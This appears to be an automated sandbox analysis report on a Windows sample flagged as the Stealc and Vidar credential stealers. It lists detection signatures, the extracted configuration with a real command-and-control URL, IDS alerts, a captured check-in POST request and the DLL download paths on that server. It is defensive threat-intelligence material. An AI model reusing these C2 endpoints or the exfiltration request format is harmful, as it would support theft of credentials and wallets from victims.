Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1528583
MD5:	0e6dc441b3900cc0d53a16cd1e2d3540
SHA1:	6fb377351bf07aa67d67fe385b5e5902c6eae12f
SHA256:	8dcfa1213bae055d0e6a82007b0a011e4cdc68f3b1ea4bfe9ac7020975da4433
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6160 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 0E6DC441B3900CC0D53A16CD1E2D3540)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2313614753.000000000141E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2082968668.0000000005160000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6160	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6160	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6160	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6160	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.1e0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T03:22:06.245862+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T03:22:06.239587+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T03:22:06.461204+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T03:22:07.513423+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T03:22:06.554209+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T03:22:06.017016+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T03:22:08.092813+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-08T03:22:14.886207+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-08T03:22:15.914972+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-08T03:22:16.622375+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-08T03:22:18.277985+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-08T03:22:20.178156+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-08T03:22:20.714796+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIECFHDBAAECAAKFHDHHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 38 39 43 31 30 35 32 37 34 33 35 35 37 34 32 31 37 39 36 35 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 2d 2d 0d 0a Data Ascii: ------FIIECFHDBAAECAAKFHDHContent-Disposition: form-data; name="hwid"489C10527435574217965------FIIECFHDBAAECAAKFHDHContent-Disposition: form-data; name="build"doma------FIIECFHDBAAECAAKFHDH--

Source: file.exe, 00000000.00000002.2313614753.000000000141E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37.com
Source: file.exe, 00000000.00000002.2313614753.0000000001476000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2313614753.0000000001476000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.2313614753.0000000001476000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dllv
Source: file.exe, 00000000.00000002.2313614753.0000000001476000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.2313614753.0000000001476000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dllj
Source: file.exe, 00000000.00000002.2313614753.0000000001476000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.2313614753.0000000001464000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.2313614753.0000000001476000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.2313614753.0000000001476000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dlld
Source: file.exe, 00000000.00000002.2313614753.0000000001476000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.2313614753.0000000001476000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dllP
Source: file.exe, 00000000.00000002.2313614753.0000000001476000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.2313614753.0000000001476000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dllm
Source: file.exe, 00000000.00000002.2313614753.0000000001476000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php.dll
Source: file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php=
Source: file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpE
Source: file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpHSJ
Source: file.exe, 00000000.00000002.2313614753.0000000001476000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpN
Source: file.exe, 00000000.00000002.2313614753.0000000001476000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpf
Source: file.exe, 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpom
Source: file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpwser
Source: file.exe, 00000000.00000002.2313614753.0000000001476000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpz
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2326877269.000000001D9F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2337563144.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: JKFHIIEH.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp, AKJDGDGDHDGDBFIDHDBA.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp, AKJDGDGDHDGDBFIDHDBA.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: JKFHIIEH.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp, JKFHIIEH.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp, JKFHIIEH.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp, AKJDGDGDHDGDBFIDHDBA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp, AKJDGDGDHDGDBFIDHDBA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp, JKFHIIEH.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: JKFHIIEH.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp, JKFHIIEH.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: AKJDGDGDHDGDBFIDHDBA.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: KFIDBAFHCAKFBGCBFHIJKECGII.0.dr	String found in binary or memory: https://support.mozilla.org
Source: KFIDBAFHCAKFBGCBFHIJKECGII.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: KFIDBAFHCAKFBGCBFHIJKECGII.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp, AKJDGDGDHDGDBFIDHDBA.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp, AKJDGDGDHDGDBFIDHDBA.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2313614753.0000000001491000.00000004.00000020.00020000.00000000.sdmp, JKFHIIEH.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: JKFHIIEH.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: KFIDBAFHCAKFBGCBFHIJKECGII.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: KFIDBAFHCAKFBGCBFHIJKECGII.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: KFIDBAFHCAKFBGCBFHIJKECGII.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2265837955.000000002FC8F000.00000004.00000020.00020000.00000000.sdmp, KFIDBAFHCAKFBGCBFHIJKECGII.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: KFIDBAFHCAKFBGCBFHIJKECGII.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2265837955.000000002FC8F000.00000004.00000020.00020000.00000000.sdmp, KFIDBAFHCAKFBGCBFHIJKECGII.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2265837955.000000002FC8F000.00000004.00000020.00020000.00000000.sdmp, KFIDBAFHCAKFBGCBFHIJKECGII.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C67B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C67B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C67B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C61F280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005AB01B	0_2_005AB01B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005350EE	0_2_005350EE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00499159	0_2_00499159
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0045112C	0_2_0045112C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004C4188	0_2_004C4188
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B51A5	0_2_005B51A5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056D23F	0_2_0056D23F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005852EC	0_2_005852EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B028F	0_2_005B028F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005BA2BC	0_2_005BA2BC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0057A30E	0_2_0057A30E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B6BD0	0_2_005B6BD0
